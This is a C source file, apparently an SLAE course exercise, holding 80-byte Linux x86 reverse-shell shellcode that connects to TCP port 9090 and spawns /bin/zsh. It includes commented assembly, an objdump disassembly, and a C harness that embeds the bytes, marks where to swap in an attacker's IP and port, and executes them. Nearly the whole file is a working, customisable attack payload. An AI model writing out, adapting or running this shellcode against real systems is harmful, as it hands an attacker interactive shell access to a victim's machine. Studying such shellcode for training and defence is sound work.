158 lines
No EOL
4.7 KiB
C
158 lines
No EOL
4.7 KiB
C
/*
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;
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; Linux x86
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; Author: thryb
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; Date: 21-07-16
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; Purpose: Reverse /bin/zsh to TCP port 9090
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; Size: 80 bytes
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; ID: SLAE-770
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; Git: https://www.github.com/thryb/SLAE-770
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;
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global _start
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section .text
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_start:
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xor eax, eax ; cleaning registers
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xor ebx, ebx
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; 1 - create socket
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; socket(AF_INET, SOCK_STREAM, 0);
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; #define SYS_SOCKET 1 // sys_socket(2)
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push eax ; null terminate
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push byte 0x1 ; stack = 0, 1
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push byte 0x2 ; stack = 0, 1, 2 (0, SOCK_STREAM, AF_INET)
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mov al, 0x66 ; sys_socketcall = 102
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mov bl, 0x1 ; socketcall() socket = 1
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mov ecx, esp ; mv stack ptr into ecx
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int 0x80 ; init
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xchg esi, eax ; saving sockfd
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; 2 - Connect
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; connect(sockfd, (struct sockaddr *)&srv_addr, sizeof(srv_addr));
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mov al, 0x66 ; sys_socketcall = 102
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add ebx, 0x2 ; sys_connect = 3
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push 0xefffff7f ; 127.255.255.254 (ip2shell.py)
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push word 0x8223 ; 9090 (port2shell.py)
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push word 0x2 ; 2 AF_INET
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mov ecx, esp ; mv stack ptr to ecx
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push 0x10 ; addr leght 16
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push ecx ; ptr address
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push esi ; fd
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mov ecx, esp ; mv final stack ptr to ecx
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int 0x80 ; init
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xchg eax, esi ; save sockfd
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; 3 - dup
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; sys_dup2 = 63 = 0x3f
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xor ecx, ecx ; NULL ecx
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add cl, 0x2 ; add 2 to counter
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dup2: ; STDIN, STDOUT, STDERR
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mov al, 0x3f ; sys_dup2
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int 0x80 ; init
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dec cl ; decrement counter
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jns dup2 ; Jump on No Sign (Positive)
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; 4 - execve /bin/zsh
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; normal execve shell exec
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push eax ; null
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push 0x68737a2f ; hsz/
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push 0x6e69622f ; nib/
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mov ebx, esp ; mv stack ptr to ebx
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push eax ; null
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push ebx ; push ptr addr
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mov ecx, esp ; mv new stack ptr to ecx
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mov al, 0xb ; sys_execve (11)
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int 0x80 ; init
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============================================================================================================
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No NULL
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./reverse-zsh-tcp-9090.bin: file format elf32-i386
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Disassembly of section .text:
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08048060 <_start>:
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8048060: 31 c0 xor %eax,%eax
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8048062: 31 db xor %ebx,%ebx
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8048064: 50 push %eax
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8048065: 6a 01 push $0x1
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8048067: 6a 02 push $0x2
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8048069: b0 66 mov $0x66,%al
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804806b: b3 01 mov $0x1,%bl
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804806d: 89 e1 mov %esp,%ecx
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804806f: cd 80 int $0x80
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8048071: 96 xchg %eax,%esi
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8048072: b0 66 mov $0x66,%al
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8048074: 83 c3 02 add $0x2,%ebx
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8048077: 68 7f ff ff ef push $0xefffff7f
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804807c: 66 68 23 82 pushw $0x8223
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8048080: 66 6a 02 pushw $0x2
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8048083: 89 e1 mov %esp,%ecx
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8048085: 6a 10 push $0x10
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8048087: 51 push %ecx
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8048088: 56 push %esi
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8048089: 89 e1 mov %esp,%ecx
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804808b: cd 80 int $0x80
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804808d: 96 xchg %eax,%esi
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804808e: 31 c9 xor %ecx,%ecx
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8048090: 80 c1 02 add $0x2,%cl
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08048093 <dup2>:
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8048093: b0 3f mov $0x3f,%al
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8048095: cd 80 int $0x80
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8048097: fe c9 dec %cl
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8048099: 79 f8 jns 8048093 <dup2>
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804809b: 50 push %eax
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804809c: 68 2f 7a 73 68 push $0x68737a2f
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80480a1: 68 2f 62 69 6e push $0x6e69622f
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80480a6: 89 e3 mov %esp,%ebx
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80480a8: 50 push %eax
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80480a9: 53 push %ebx
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80480aa: 89 e1 mov %esp,%ecx
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80480ac: b0 0b mov $0xb,%al
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80480ae: cd 80 int $0x80
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*/
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#include<stdio.h>
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#include<string.h>
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unsigned char code[] = \
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"\x31\xc0\x31\xdb\x50\x6a\x01\x6a\x02\xb0\x66\xb3\x01\x89\xe1\xcd\x80\x96\xb0\x66\x83\xc3\x02\x68"
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// Replace IP here (use ip2shell.py to generate IP).
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"\x7f\xff\xff\xef"
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// *****************
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"\x66\x68"
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// Replace port here (use port2shell.py to generate IP).
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"\x23\x82"
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// *****************
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"\x66\x6a\x02\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\x96\x31\xc9\x80\xc1\x02\xb0\x3f\xcd\x80\xfe\xc9\x79\xf8\x50\x68\x2f\x7a\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
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main()
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{
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printf("Shellcode Length: %d\n", strlen(code));
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int (*ret)() = (int(*)())code;
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ret();
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} |